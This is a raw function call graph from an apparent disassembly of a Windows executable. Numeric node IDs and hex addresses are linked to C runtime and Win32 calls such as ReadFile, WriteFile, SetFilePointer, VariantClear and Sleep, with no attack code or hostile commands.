85668->85656 85670->85665 85672->85667 85673->85668 85677 414d4c _flsall 85674->85677 85675 414d5f 85726 417f23 67 API calls __getptd_noexit 85675->85726 85677->85675 85679 414d95 85677->85679 85678 414d64 85727 417ebb 6 API calls 2 library calls 85678->85727 85693 41e28c 85679->85693 85682 414d9a 85683 414da1 85682->85683 85684 414dae 85682->85684 85728 417f23 67 API calls __getptd_noexit 85683->85728 85686 414dd6 85684->85686 85687 414db6 85684->85687 85711 41dfd8 85686->85711 85729 417f23 67 API calls __getptd_noexit 85687->85729 85690 414d74 _flsall @_EH4_CallFilterFunc@8 85690->85613 85694 41e298 _flsall 85693->85694 85695 418407 __lock 67 API calls 85694->85695 85701 41e2a6 85695->85701 85696 41e322 85697 416fb6 __malloc_crt 67 API calls 85696->85697 85699 41e32c 85697->85699 85710 41e31b 85699->85710 85736 4189e6 InitializeCriticalSectionAndSpinCount _flsall 85699->85736 85700 41e3b0 _flsall 85700->85682 85701->85696 85703 418344 __mtinitlocknum 67 API calls 85701->85703 85701->85710 85734 4159a6 68 API calls __lock 85701->85734 85735 415a14 LeaveCriticalSection LeaveCriticalSection _doexit 85701->85735 85703->85701 85705 41e351 85706 41e35c 85705->85706 85707 41e36f EnterCriticalSection 85705->85707 85708 413a88 __mtterm 67 API calls 85706->85708 85707->85710 85708->85710 85731 41e3bb 85710->85731 85712 41dffb __wopenfile 85711->85712 85713 41e015 85712->85713 85725 41e1e9 85712->85725 85743 4136bc 79 API calls 2 library calls 85712->85743 85741 417f23 67 API calls __getptd_noexit 85713->85741 85715 41e01a 85742 417ebb 6 API calls 2 library calls 85715->85742 85717 41e247 85738 425db0 85717->85738 85721 41e1e2 85721->85725 85744 4136bc 79 API calls 2 library calls 85721->85744 85723 41e201 85723->85725 85745 4136bc 79 API calls 2 library calls 85723->85745 85725->85713 85725->85717 85726->85678 85728->85690 85729->85690 85730 414dfc LeaveCriticalSection LeaveCriticalSection __wfsopen 85730->85690 85737 41832d LeaveCriticalSection 85731->85737 85733 41e3c2 85733->85700 85734->85701 85735->85701 85736->85705 85737->85733 85746 425ce4 85738->85746 85740 414de1 85740->85730 85741->85715 85743->85721 85744->85723 85745->85725 85747 425cf0 _flsall 85746->85747 85748 425d03 85747->85748 85750 425d41 85747->85750 85749 417f23 __vswprintf_l 67 API calls 85748->85749 85751 425d08 85749->85751 85753 4255c4 __tsopen_nolock 132 API calls 85750->85753 85752 417ebb __vswprintf_l 6 API calls 85751->85752 85756 425d17 _flsall 85752->85756 85754 425d5b 85753->85754 85755 425d82 __sopen_helper LeaveCriticalSection 85754->85755 85755->85756 85756->85740 85761 415588 _flsall 85757->85761 85758 415596 85788 417f23 67 API calls __getptd_noexit 85758->85788 85760 4155c4 85770 415965 85760->85770 85761->85758 85761->85760 85763 41559b 85789 417ebb 6 API calls 2 library calls 85763->85789 85769 4155ab _flsall 85769->85618 85771 415977 85770->85771 85772 415999 EnterCriticalSection 85770->85772 85771->85772 85773 41597f 85771->85773 85775 4155cc 85772->85775 85774 418407 __lock 67 API calls 85773->85774 85774->85775 85776 4154f2 85775->85776 85777 415512 85776->85777 85778 415502 85776->85778 85780 415524 85777->85780 85791 4152e7 85777->85791 85845 417f23 67 API calls __getptd_noexit 85778->85845 85808 41486c 85780->85808 85783 415507 85790 4155f7 LeaveCriticalSection LeaveCriticalSection __wfsopen 85783->85790 85788->85763 85790->85769 85792 41531a 85791->85792 85793 4152fa 85791->85793 85794 41453a __fileno 67 API calls 85792->85794 85846 417f23 67 API calls __getptd_noexit 85793->85846 85796 415320 85794->85796 85799 41efd4 __locking 71 API calls 85796->85799 85797 4152ff 85847 417ebb 6 API calls 2 library calls 85797->85847 85800 415335 85799->85800 85801 4153a9 85800->85801 85803 415364 85800->85803 85807 41530f 85800->85807 85848 417f23 67 API calls __getptd_noexit 85801->85848 85804 41efd4 __locking 71 API calls 85803->85804 85803->85807 85805 415404 85804->85805 85806 41efd4 __locking 71 API calls 85805->85806 85805->85807 85806->85807 85807->85780 85809 4148a7 85808->85809 85810 414885 85808->85810 85814 41453a 85809->85814 85810->85809 85811 41453a __fileno 67 API calls 85810->85811 85812 4148a0 85811->85812 85849 41c3cf 101 API calls 6 library calls 85812->85849 85815 41455e 85814->85815 85816 414549 85814->85816 85820 41efd4 85815->85820 85850 417f23 67 API calls __getptd_noexit 85816->85850 85818 41454e 85851 417ebb 6 API calls 2 library calls 85818->85851 85821 41efe0 _flsall 85820->85821 85822 41f003 85821->85822 85823 41efe8 85821->85823 85825 41f011 85822->85825 85829 41f052 85822->85829 85872 417f36 67 API calls __getptd_noexit 85823->85872 85874 417f36 67 API calls __getptd_noexit 85825->85874 85827 41efed 85873 417f23 67 API calls __getptd_noexit 85827->85873 85828 41f016 85875 417f23 67 API calls __getptd_noexit 85828->85875 85852 41ba3b 85829->85852 85833 41f01d 85876 417ebb 6 API calls 2 library calls 85833->85876 85834 41f058 85836 41f065 85834->85836 85837 41f07b 85834->85837 85862 41ef5f 85836->85862 85877 417f23 67 API calls __getptd_noexit 85837->85877 85838 41eff5 _flsall 85838->85783 85841 41f073 85879 41f0a6 LeaveCriticalSection __unlock_fhandle 85841->85879 85842 41f080 85878 417f36 67 API calls __getptd_noexit 85842->85878 85845->85783 85846->85797 85848->85807 85849->85809 85850->85818 85853 41ba47 _flsall 85852->85853 85854 41baa2 85853->85854 85855 418407 __lock 67 API calls 85853->85855 85856 41bac4 _flsall 85854->85856 85857 41baa7 EnterCriticalSection 85854->85857 85858 41ba73 85855->85858 85856->85834 85857->85856 85859 4189e6 ___lock_fhandle InitializeCriticalSectionAndSpinCount 85858->85859 85861 41ba8a 85858->85861 85859->85861 85860 41bad2 ___lock_fhandle LeaveCriticalSection 85860->85854 85861->85860 85863 41b9c4 __lseek_nolock 67 API calls 85862->85863 85864 41ef6e 85863->85864 85865 41ef84 SetFilePointer 85864->85865 85866 41ef74 85864->85866 85867 41ef9b GetLastError 85865->85867 85869 41efa3 85865->85869 85868 417f23 __vswprintf_l 67 API calls 85866->85868 85867->85869 85870 41ef79 85868->85870 85869->85870 85871 417f49 __dosmaperr 67 API calls 85869->85871 85870->85841 85871->85870 85872->85827 85873->85838 85874->85828 85875->85833 85877->85842 85878->85841 85879->85838 85881 414e31 85880->85881 85883 414e4d 85880->85883 85926 417f23 67 API calls __getptd_noexit 85881->85926 85884 414e46 85883->85884 85886 41486c __flush 101 API calls 85883->85886 85898 414f08 LeaveCriticalSection LeaveCriticalSection __wfsopen 85884->85898 85885 414e36 85927 417ebb 6 API calls 2 library calls 85885->85927 85887 414e59 85886->85887 85899 41e680 85887->85899 85891 41453a __fileno 67 API calls 85892 414e67 85891->85892 85903 41e5b3 85892->85903 85894 414e6d 85894->85884 85895 413a88 __mtterm 67 API calls 85894->85895 85895->85884 85896->85629 85898->85633 85900 41e690 85899->85900 85901 414e61 85899->85901 85900->85901 85902 413a88 __mtterm 67 API calls 85900->85902 85901->85891 85902->85901 85904 41e5bf _flsall 85903->85904 85905 41e5e2 85904->85905 85906 41e5c7 85904->85906 85907 41e5f0 85905->85907 85912 41e631 85905->85912 85943 417f36 67 API calls __getptd_noexit 85906->85943 85945 417f36 67 API calls __getptd_noexit 85907->85945 85910 41e5cc 85944 417f23 67 API calls __getptd_noexit 85910->85944 85911 41e5f5 85946 417f23 67 API calls __getptd_noexit 85911->85946 85915 41ba3b ___lock_fhandle 68 API calls 85912->85915 85918 41e637 85915->85918 85916 41e5d4 _flsall 85916->85894 85917 41e5fc 85947 417ebb 6 API calls 2 library calls 85917->85947 85920 41e652 85918->85920 85921 41e644 85918->85921 85948 417f23 67 API calls __getptd_noexit 85920->85948 85928 41e517 85921->85928 85924 41e64c 85949 41e676 LeaveCriticalSection __unlock_fhandle 85924->85949 85926->85885 85950 41b9c4 85928->85950 85930 41e57d 85963 41b93e 68 API calls 2 library calls 85930->85963 85932 41e527 85932->85930 85934 41b9c4 __lseek_nolock 67 API calls 85932->85934 85942 41e55b 85932->85942 85933 41e585 85936 41e5a7 85933->85936 85964 417f49 67 API calls 3 library calls 85933->85964 85937 41e552 85934->85937 85935 41b9c4 __lseek_nolock 67 API calls 85938 41e567 CloseHandle 85935->85938 85936->85924 85940 41b9c4 __lseek_nolock 67 API calls 85937->85940 85938->85930 85941 41e573 GetLastError 85938->85941 85940->85942 85941->85930 85942->85930 85942->85935 85943->85910 85944->85916 85945->85911 85946->85917 85948->85924 85949->85916 85951 41b9d1 85950->85951 85952 41b9e9 85950->85952 85953 417f36 __set_osfhnd 67 API calls 85951->85953 85954 417f36 __set_osfhnd 67 API calls 85952->85954 85957 41ba2e 85952->85957 85955 41b9d6 85953->85955 85958 41ba17 85954->85958 85956 417f23 __vswprintf_l 67 API calls 85955->85956 85959 41b9de 85956->85959 85957->85932 85960 417f23 __vswprintf_l 67 API calls 85958->85960 85959->85932 85961 41ba1e 85960->85961 85962 417ebb __vswprintf_l 6 API calls 85961->85962 85962->85957 85963->85933 85964->85936 85966 415126 _flsall 85965->85966 85967 41516f 85966->85967 85968 415164 _flsall 85966->85968 85971 41513a _memset 85966->85971 85969 415965 __lock_file 68 API calls 85967->85969 85968->85638 85970 415177 85969->85970 85978 414f10 85970->85978 85994 417f23 67 API calls __getptd_noexit 85971->85994 85974 415154 85995 417ebb 6 API calls 2 library calls 85974->85995 85980 414f2e _memset 85978->85980 85984 414f4c 85978->85984 85979 414f37 86047 417f23 67 API calls __getptd_noexit 85979->86047 85980->85979 85980->85984 85990 414f8b 85980->85990 85982 414f3c 86048 417ebb 6 API calls 2 library calls 85982->86048 85996 4151a6 LeaveCriticalSection LeaveCriticalSection __wfsopen 85984->85996 85986 4150d5 _memset 86051 417f23 67 API calls __getptd_noexit 85986->86051 85987 4150a9 _memset 86050 417f23 67 API calls __getptd_noexit 85987->86050 85988 41453a __fileno 67 API calls 85988->85990 85990->85984 85990->85986 85990->85987 85990->85988 85997 41ed9e 85990->85997 86027 41e6b1 85990->86027 86049 41ee9b 67 API calls 3 library calls 85990->86049 85994->85974 85996->85968 85998 41edaa _flsall 85997->85998 85999 41edb2 85998->85999 86000 41edcd 85998->86000 86121 417f36 67 API calls __getptd_noexit 85999->86121 86002 41eddb 86000->86002 86005 41ee1c 86000->86005 86123 417f36 67 API calls __getptd_noexit 86002->86123 86003 41edb7 86122 417f23 67 API calls __getptd_noexit 86003->86122 86008 41ee29 86005->86008 86009 41ee3d 86005->86009 86007 41ede0 86124 417f23 67 API calls __getptd_noexit 86007->86124 86126 417f36 67 API calls __getptd_noexit 86008->86126 86012 41ba3b ___lock_fhandle 68 API calls 86009->86012 86015 41ee43 86012->86015 86013 41ede7 86125 417ebb 6 API calls 2 library calls 86013->86125 86014 41ee2e 86127 417f23 67 API calls __getptd_noexit 86014->86127 86019 41ee50 86015->86019 86020 41ee66 86015->86020 86018 41edbf _flsall 86018->85990 86052 41e7dc 86019->86052 86128 417f23 67 API calls __getptd_noexit 86020->86128 86023 41ee6b 86129 417f36 67 API calls __getptd_noexit 86023->86129 86024 41ee5e 86130 41ee91 LeaveCriticalSection __unlock_fhandle 86024->86130 86028 41e6c1 86027->86028 86032 41e6de 86027->86032 86134 417f23 67 API calls __getptd_noexit 86028->86134 86030 41e6c6 86135 417ebb 6 API calls 2 library calls 86030->86135 86033 41e713 86032->86033 86039 41e6d6 86032->86039 86131 423600 86032->86131 86035 41453a __fileno 67 API calls 86033->86035 86036 41e727 86035->86036 86037 41ed9e __read 79 API calls 86036->86037 86038 41e72e 86037->86038 86038->86039 86040 41453a __fileno 67 API calls 86038->86040 86039->85990 86041 41e751 86040->86041 86041->86039 86042 41453a __fileno 67 API calls 86041->86042 86043 41e75d 86042->86043 86043->86039 86044 41453a __fileno 67 API calls 86043->86044 86045 41e769 86044->86045 86046 41453a __fileno 67 API calls 86045->86046 86046->86039 86047->85982 86049->85990 86050->85982 86051->85982 86053 41e813 86052->86053 86054 41e7f8 86052->86054 86056 41e822 86053->86056 86058 41e849 86053->86058 86055 417f36 __set_osfhnd 67 API calls 86054->86055 86057 41e7fd 86055->86057 86059 417f36 __set_osfhnd 67 API calls 86056->86059 86061 417f23 __vswprintf_l 67 API calls 86057->86061 86060 41e868 86058->86060 86075 41e87c 86058->86075 86062 41e827 86059->86062 86063 417f36 __set_osfhnd 67 API calls 86060->86063 86064 41e805 86061->86064 86066 417f23 __vswprintf_l 67 API calls 86062->86066 86068 41e86d 86063->86068 86064->86024 86065 41e8d4 86067 417f36 __set_osfhnd 67 API calls 86065->86067 86069 41e82e 86066->86069 86070 41e8d9 86067->86070 86071 417f23 __vswprintf_l 67 API calls 86068->86071 86072 417ebb __vswprintf_l 6 API calls 86069->86072 86073 417f23 __vswprintf_l 67 API calls 86070->86073 86074 41e874 86071->86074 86072->86064 86073->86074 86078 417ebb __vswprintf_l 6 API calls 86074->86078 86075->86064 86075->86065 86076 41e8b0 86075->86076 86077 41e8f5 86075->86077 86076->86065 86079 41e8bb ReadFile 86076->86079 86081 416fb6 __malloc_crt 67 API calls 86077->86081 86078->86064 86082 41ed62 GetLastError 86079->86082 86083 41e9e7 86079->86083 86084 41e90b 86081->86084 86085 41ed6f 86082->86085 86088 41ebe8 86082->86088 86083->86082 86089 41e9fb 86083->86089 86086 41e931 86084->86086 86087 41e913 86084->86087 86091 417f23 __vswprintf_l 67 API calls 86085->86091 86090 423462 __lseeki64_nolock 69 API calls 86086->86090 86092 417f23 __vswprintf_l 67 API calls 86087->86092 86093 417f49 __dosmaperr 67 API calls 86088->86093 86100 41eb6d 86088->86100 86089->86100 86102 41ec2d 86089->86102 86103 41ea17 86089->86103 86095 41e93d 86090->86095 86096 41ed74 86091->86096 86094 41e918 86092->86094 86093->86100 86097 417f36 __set_osfhnd 67 API calls 86094->86097 86095->86079 86098 417f36 __set_osfhnd 67 API calls 86096->86098 86097->86064 86098->86100 86099 413a88 __mtterm 67 API calls 86099->86064 86100->86064 86100->86099 86101 41eca5 ReadFile 86106 41ecc4 GetLastError 86101->86106 86114 41ecce 86101->86114 86102->86100 86102->86101 86104 41ea7d ReadFile 86103->86104 86109 41eafa 86103->86109 86105 41ea9b GetLastError 86104->86105 86113 41eaa5 86104->86113 86105->86103 86105->86113 86106->86102 86106->86114 86107 41ebbe MultiByteToWideChar 86107->86100 86108 41ebe2 GetLastError 86107->86108 86108->86088 86109->86100 86110 41eb75 86109->86110 86111 41eb68 86109->86111 86116 41eb32 86109->86116 86110->86116 86117 41ebac 86110->86117 86112 417f23 __vswprintf_l 67 API calls 86111->86112 86112->86100 86113->86103 86118 423462 __lseeki64_nolock 69 API calls 86113->86118 86114->86102 86115 423462 __lseeki64_nolock 69 API calls 86114->86115 86115->86114 86116->86107 86119 423462 __lseeki64_nolock 69 API calls 86117->86119 86118->86113 86120 41ebbb 86119->86120 86120->86107 86121->86003 86122->86018 86123->86007 86124->86013 86126->86014 86127->86013 86128->86023 86129->86024 86130->86018 86132 416fb6 __malloc_crt 67 API calls 86131->86132 86133 423615 86132->86133 86133->86033 86134->86030 86139 414cef GetSystemTimeAsFileTime __aulldiv 86136->86139 86138 4431ef 86138->85641 86139->86138 86140->85648 86142->85654 86147 4523e1 _wcscpy 86143->86147 86144 4151b0 81 API calls __fread_nolock 86144->86147 86145 44afdc GetSystemTimeAsFileTime 86145->86147 86146 452553 86146->85563 86146->85564 86147->86144 86147->86145 86147->86146 86148 41557c 105 API calls _fseek 86147->86148 86148->86147 86150 44b1b4 86149->86150 86151 44b1a6 86149->86151 86153 44b1ca 86150->86153 86154 44b1c2 86150->86154 86155 414e06 138 API calls 86150->86155 86152 414e06 138 API calls 86151->86152 86152->86150 86184 4352d1 81 API calls 2 library calls 86153->86184 86154->85590 86156 44b2c1 86155->86156 86156->86153 86158 44b2cf 86156->86158 86160 44b2dc 86158->86160 86163 414e94 __fcloseall 106 API calls 86158->86163 86159 44b20d 86161 44b211 86159->86161 86162 44b23b 86159->86162 86160->85590 86165 44b21e 86161->86165 86167 414e94 __fcloseall 106 API calls 86161->86167 86185 43526e 86162->86185 86163->86160 86168 44b22e 86165->86168 86169 414e94 __fcloseall 106 API calls 86165->86169 86166 44b242 86170 44b270 86166->86170 86171 44b248 86166->86171 86167->86165 86168->85590 86169->86168 86195 44b0af 111 API calls 86170->86195 86173 44b255 86171->86173 86175 414e94 __fcloseall 106 API calls 86171->86175 86177 414e94 __fcloseall 106 API calls 86173->86177 86179 44b265 86173->86179 86174 44b276 86196 43522c 67 API calls __mtterm 86174->86196 86175->86173 86177->86179 86178 44b27c 86180 44b289 86178->86180 86181 414e94 __fcloseall 106 API calls 86178->86181 86179->85590 86182 44b299 86180->86182 86183 414e94 __fcloseall 106 API calls 86180->86183 86181->86180 86182->85590 86183->86182 86184->86159 86186 4138ba _malloc 67 API calls 86185->86186 86187 43527d 86186->86187 86188 4138ba _malloc 67 API calls 86187->86188 86189 43528d 86188->86189 86190 4138ba _malloc 67 API calls 86189->86190 86191 43529d 86190->86191 86193 4352bc 86191->86193 86197 43522c 67 API calls __mtterm 86191->86197 86193->86166 86194 4352c8 86194->86166 86195->86174 86196->86178 86197->86194 86198->85470 86200 410148 SHGetDesktopFolder 86199->86200 86203 4101a3 _wcscpy 86199->86203 86201 41015a _wcscpy 86200->86201 86200->86203 86202 41018a SHGetPathFromIDListW 86201->86202 86201->86203 86202->86203 86203->85473 86204->85475 86206 40f5e0 152 API calls 86205->86206 86207 40f417 86206->86207 86208 42ca37 86207->86208 86210 40f42c 86207->86210 86211 42ca1f 86207->86211 86209 452574 140 API calls 86208->86209 86212 42ca50 86209->86212 86253 4037e0 139 API calls 7 library calls 86210->86253 86254 43717f 110 API calls _printf 86211->86254 86215 42ca76 86212->86215 86216 42ca54 86212->86216 86220 41171a 75 API calls 86215->86220 86219 434fe1 106 API calls 86216->86219 86217 40f446 86217->85471 86218 42ca2d 86218->86208 86221 42ca5e 86219->86221 86230 42cacc moneypunct 86220->86230 86255 43717f 110 API calls _printf 86221->86255 86223 42ccc3 86225 413a88 __mtterm 67 API calls 86223->86225 86224 42ca6c 86224->86215 86226 42cccd 86225->86226 86227 434fe1 106 API calls 86226->86227 86228 42ccda 86227->86228 86230->86223 86233 401b70 75 API calls 86230->86233 86236 445051 86230->86236 86239 402cc0 86230->86239 86247 4026a0 86230->86247 86256 44c80c 87 API calls 3 library calls 86230->86256 86257 44b408 75 API calls 86230->86257 86233->86230 86237 41171a 75 API calls 86236->86237 86238 445080 _memcpy_s 86237->86238 86238->86230 86238->86238 86240 402d71 86239->86240 86243 402cd2 _memcpy_s moneypunct 86239->86243 86242 41171a 75 API calls 86240->86242 86241 41171a 75 API calls 86245 402cd9 86241->86245 86242->86243 86243->86241 86244 402cff 86244->86230 86245->86244 86246 41171a 75 API calls 86245->86246 86246->86244 86248 4026af 86247->86248 86250 40276b 86247->86250 86249 41171a 75 API calls 86248->86249 86248->86250 86251 4026ee moneypunct 86248->86251 86249->86251 86250->86230 86251->86250 86252 41171a 75 API calls 86251->86252 86252->86251 86253->86217 86254->86218 86255->86224 86256->86230 86257->86230 86258->85482 86259->85483 84734 444343 84737 444326 84734->84737 84736 44434e WriteFile 84738 444340 84737->84738 84739 4442c7 84737->84739 84738->84736 84744 40e190 SetFilePointerEx 84739->84744 84741 4442e0 SetFilePointerEx 84745 40e190 SetFilePointerEx 84741->84745 84743 4442ff 84743->84736 84744->84741 84745->84743 86260 431914 86261 431920 86260->86261 86262 431928 86261->86262 86263 43193d 86261->86263 86524 45e62e 116 API calls 3 library calls 86262->86524 86525 47f2b4 174 API calls 86263->86525 86266 43194a 86274 4095b0 moneypunct 86266->86274 86526 45e62e 116 API calls 3 library calls 86266->86526 86268 409708 86270 4097af 86270->86268 86511 40d590 VariantClear 86270->86511 86272 4315b8 WaitForSingleObject 86272->86274 86276 4315d6 GetExitCodeProcess CloseHandle 86272->86276 86273 431623 Sleep 86279 43163b timeGetTime 86273->86279 86287 409894 86273->86287 86274->86268 86274->86270 86274->86272 86274->86273 86280 40986e Sleep 86274->86280 86283 4098f1 TranslateMessage DispatchMessageW 86274->86283 86274->86287 86301 45e62e 116 API calls 86274->86301 86302 4319c9 VariantClear 86274->86302 86304 4092c0 VariantClear 86274->86304 86306 40b380 86274->86306 86330 409340 86274->86330 86363 409030 86274->86363 86377 40d300 86274->86377 86382 40d320 86274->86382 86388 409a40 86274->86388 86527 40e380 VariantClear moneypunct 86274->86527 86515 40d590 VariantClear 86276->86515 86279->86287 86284 409880 timeGetTime 86280->86284 86280->86287 86283->86274 86284->86287 86285 431673 CloseHandle 86285->86287 86286 40d590 VariantClear 86286->86287 86287->86274 86287->86285 86287->86286 86288 43170c GetExitCodeProcess CloseHandle 86287->86288 86290 46e641 134 API calls 86287->86290 86292 46dd22 133 API calls 86287->86292 86294 431781 Sleep 86287->86294 86303 4092c0 VariantClear 86287->86303 86512 447e59 75 API calls 86287->86512 86513 453b07 77 API calls 86287->86513 86514 4646a2 76 API calls 86287->86514 86516 444233 88 API calls _wcslen 86287->86516 86517 457509 VariantClear 86287->86517 86518 404120 86287->86518 86522 4717e3 VariantClear 86287->86522 86523 436272 6 API calls 86287->86523 86288->86287 86290->86287 86292->86287 86294->86274 86301->86274 86302->86274 86303->86287 86304->86274 86307 40b3a5 86306->86307 86308 40b53d 86306->86308 86309 430a99 86307->86309 86314 40b3b6 86307->86314 86528 45e62e 116 API calls 3 library calls 86308->86528 86529 45e62e 116 API calls 3 library calls 86309->86529 86312 430aae 86317 4092c0 VariantClear 86312->86317 86313 40b528 86313->86274 86314->86312 86318 40b3f2 86314->86318 86329 40b4fd moneypunct 86314->86329 86316 430dc9 86316->86316 86317->86313 86319 40b429 86318->86319 86320 40b476 moneypunct 86318->86320 86322 430ae9 VariantClear 86318->86322 86328 40b43b moneypunct 86319->86328 86530 40e380 VariantClear moneypunct 86319->86530 86321 40b4eb 86320->86321 86325 430d08 moneypunct 86320->86325 86321->86329 86531 40e380 VariantClear moneypunct 86321->86531 86322->86328 86323 430d41 VariantClear 86323->86329 86325->86323 86325->86329 86326 41171a 75 API calls 86326->86320 86328->86320 86328->86326 86329->86313 86532 45e62e 116 API calls 3 library calls 86329->86532 86331 409386 86330->86331 86333 409395 86330->86333 86533 4042f0 75 API calls __cinit 86331->86533 86335 42fba9 86333->86335 86337 42fc07 86333->86337 86338 42fc85 86333->86338 86342 42fd4f 86333->86342 86343 42fcd8 86333->86343 86345 42fd39 86333->86345 86351 40946f 86333->86351 86353 4094c1 86333->86353 86356 40947b 86333->86356 86359 4092c0 VariantClear 86333->86359 86362 409484 moneypunct 86333->86362 86536 453155 75 API calls 86333->86536 86538 40c620 118 API calls 86333->86538 86540 45e62e 116 API calls 3 library calls 86333->86540 86537 45e62e 116 API calls 3 library calls 86335->86537 86539 45e62e 116 API calls 3 library calls 86337->86539 86541 4781ae 140 API calls 86338->86541 86346 4092c0 VariantClear 86342->86346 86543 47f2b4 174 API calls 86343->86543 86344 42fc9c 86344->86362 86542 45e62e 116 API calls 3 library calls 86344->86542 86545 45e62e 116 API calls 3 library calls 86345->86545 86346->86362 86349 42fce9 86349->86362 86544 45e62e 116 API calls 3 library calls 86349->86544 86534 409210 VariantClear 86351->86534 86353->86362 86535 404260 76 API calls 86353->86535 86357 4092c0 VariantClear 86356->86357 86357->86362 86359->86333 86360 4094e1 86361 4092c0 VariantClear 86360->86361 86361->86362 86362->86274 86546 409110 117 API calls 86363->86546 86365 42ceb6 86556 410ae0 VariantClear moneypunct 86365->86556 86367 40906e 86367->86365 86369 42cea9 86367->86369 86371 4090a4 86367->86371 86368 42cebf 86555 45e62e 116 API calls 3 library calls 86369->86555 86547 404160 86371->86547 86374 4090f0 moneypunct 86374->86274 86375 4090be moneypunct 86375->86374 86376 4092c0 VariantClear 86375->86376 86376->86375 86378 4292e3 86377->86378 86379 40d30c 86377->86379 86380 429323 86378->86380 86381 4292fd TranslateAcceleratorW 86378->86381 86379->86274 86380->86274 86381->86379 86383 4296d0 86382->86383 86386 40d32f 86382->86386 86383->86274 86384 40d33c 86384->86274 86385 42972a IsDialogMessageW 86385->86384 86385->86386 86386->86384 86386->86385 86691 4340ec GetClassLongW 86386->86691 86389 409a66 _wcslen 86388->86389 86390 41171a 75 API calls 86389->86390 86449 40aade _memcpy_s moneypunct 86389->86449 86391 409a9c _memcpy_s 86390->86391 86393 41171a 75 API calls 86391->86393 86395 409abd 86393->86395 86394 42cee9 86396 41171a 75 API calls 86394->86396 86397 409aeb CharUpperBuffW 86395->86397 86399 409b09 moneypunct 86395->86399 86395->86449 86405 42cf10 _memcpy_s 86396->86405 86397->86399 86437 409b88 moneypunct 86399->86437 86694 47d10e 150 API calls 86399->86694 86401 4092c0 VariantClear 86402 42e5e0 86401->86402 86726 410ae0 VariantClear moneypunct 86402->86726 86404 42e5f2 86725 45e62e 116 API calls 3 library calls 86405->86725 86406 409e4a 86406->86405 86408 41171a 75 API calls 86406->86408 86413 409ea4 86406->86413 86407 40aa5b 86410 41171a 75 API calls 86407->86410 86408->86413 86409 41171a 75 API calls 86409->86437 86426 40aa81 _memcpy_s moneypunct 86410->86426 86412 409ed0 86416 42d50d 86412->86416 86456 409ef8 _memcpy_s moneypunct 86412->86456 86704 40b800 VariantClear VariantClear moneypunct 86412->86704 86413->86412 86414 41171a 75 API calls 86413->86414 86415 42d480 86414->86415 86417 42d491 86415->86417 86700 44b3f6 75 API calls 86415->86700 86419 42d527 86416->86419 86705 40b800 VariantClear VariantClear moneypunct 86416->86705 86701 40df50 75 API calls 86417->86701 86419->86456 86706 40e2e0 VariantClear moneypunct 86419->86706 86420 42d195 VariantClear 86420->86437 86422 40a415 86429 41171a 75 API calls 86422->86429 86423 42db5c 86711 4721e5 VariantClear 86423->86711 86424 4092c0 VariantClear 86424->86437 86432 41171a 75 API calls 86426->86432 86445 40a41c 86429->86445 86432->86449 86433 42d4a6 86702 4530b3 75 API calls 86433->86702 86435 42db96 86712 45e62e 116 API calls 3 library calls 86435->86712 86437->86405 86437->86406 86437->86407 86437->86409 86437->86420 86437->86424 86437->86426 86439 42d128 86437->86439 86442 42d20c 86437->86442 86451 42dbb9 86437->86451 86695 40c3e0 75 API calls 86437->86695 86696 40c620 118 API calls 86437->86696 86698 40be00 75 API calls 2 library calls 86437->86698 86699 40e380 VariantClear moneypunct 86437->86699 86441 4092c0 VariantClear 86439->86441 86440 42d4d7 86703 4530b3 75 API calls 86440->86703 86446 42d131 86441->86446 86442->86274 86457 40a481 86445->86457 86713 40c8a0 VariantClear moneypunct 86445->86713 86697 410ae0 VariantClear moneypunct 86446->86697 86693 401380 75 API calls 86449->86693 86451->86401 86453 402cc0 75 API calls 86453->86456 86454 40aa22 moneypunct 86454->86274 86455 4092c0 VariantClear 86484 40a534 _memcpy_s moneypunct 86455->86484 86456->86423 86456->86435 86456->86449 86456->86453 86459 41171a 75 API calls 86456->86459 86468 44b3f6 75 API calls 86456->86468 86470 411421 74 API calls __cinit 86456->86470 86474 40a3a7 86456->86474 86476 40a053 86456->86476 86707 45ee98 75 API calls 86456->86707 86708 4019e0 76 API calls 86456->86708 86709 404260 76 API calls 86456->86709 86710 409210 VariantClear 86456->86710 86458 40a4ed 86457->86458 86460 42dc1e VariantClear 86457->86460 86457->86484 86465 40a4ff moneypunct 86458->86465 86714 40e380 VariantClear moneypunct 86458->86714 86459->86456 86460->86465 86464 41171a 75 API calls 86464->86484 86465->86464 86465->86484 86468->86456 86469 42deb6 VariantClear 86469->86484 86470->86456 86471 40a73c 86473 42e237 86471->86473 86480 40a76b 86471->86480 86472 40e380 VariantClear 86472->86484 86718 46e709 VariantClear VariantClear moneypunct 86473->86718 86474->86422 86474->86423 86475 42df47 VariantClear 86475->86484 86476->86274 86477 42dfe9 VariantClear 86477->86484 86479 40a7a2 86491 40a7ad moneypunct 86479->86491 86719 40b800 VariantClear VariantClear moneypunct 86479->86719 86480->86479 86505 40a800 moneypunct 86480->86505 86692 40b800 VariantClear VariantClear moneypunct 86480->86692 86483 41171a 75 API calls 86483->86484 86484->86455 86484->86469 86484->86471 86484->86472 86484->86473 86484->86475 86484->86477 86484->86483 86485 41171a 75 API calls 86484->86485 86715 46e9cd 75 API calls 86484->86715 86716 409210 VariantClear 86484->86716 86717 44cc6c VariantClear moneypunct 86484->86717 86489 42dd10 VariantInit VariantCopy 86485->86489 86486 40a8b0 86497 40a8c2 moneypunct 86486->86497 86721 40e380 VariantClear moneypunct 86486->86721 86487 42e312 86488 42e337 VariantClear 86487->86488 86487->86497 86488->86497 86489->86484 86493 42dd30 VariantClear 86489->86493 86492 40a7ee 86491->86492 86495 42e2a7 VariantClear 86491->86495 86491->86505 86492->86505 86720 40e380 VariantClear moneypunct 86492->86720 86493->86484 86494 42e3b2 86499 42e3da VariantClear 86494->86499 86502 40a91a moneypunct 86494->86502 86495->86505 86497->86494 86498 40a908 86497->86498 86498->86502 86722 40e380 VariantClear moneypunct 86498->86722 86499->86502 86500 42e47f 86506 42e4a3 VariantClear 86500->86506 86510 40a957 moneypunct 86500->86510 86502->86500 86503 40a945 86502->86503 86503->86510 86723 40e380 VariantClear moneypunct 86503->86723 86505->86486 86505->86487 86506->86510 86508 42e559 VariantClear 86508->86510 86510->86454 86510->86508 86724 40e380 VariantClear moneypunct 86510->86724 86511->86268 86512->86287 86513->86287 86514->86287 86515->86287 86516->86287 86517->86287 86519 40412e 86518->86519 86520 4092c0 VariantClear 86519->86520 86521 404138 86520->86521 86521->86294 86522->86287 86523->86287 86524->86274 86525->86266 86526->86274 86527->86274 86528->86309 86529->86312 86530->86328 86531->86329 86532->86316 86533->86333 86534->86356 86535->86360 86536->86333 86537->86362 86538->86333 86539->86362 86540->86333 86541->86344 86542->86362 86543->86349 86544->86362 86545->86342 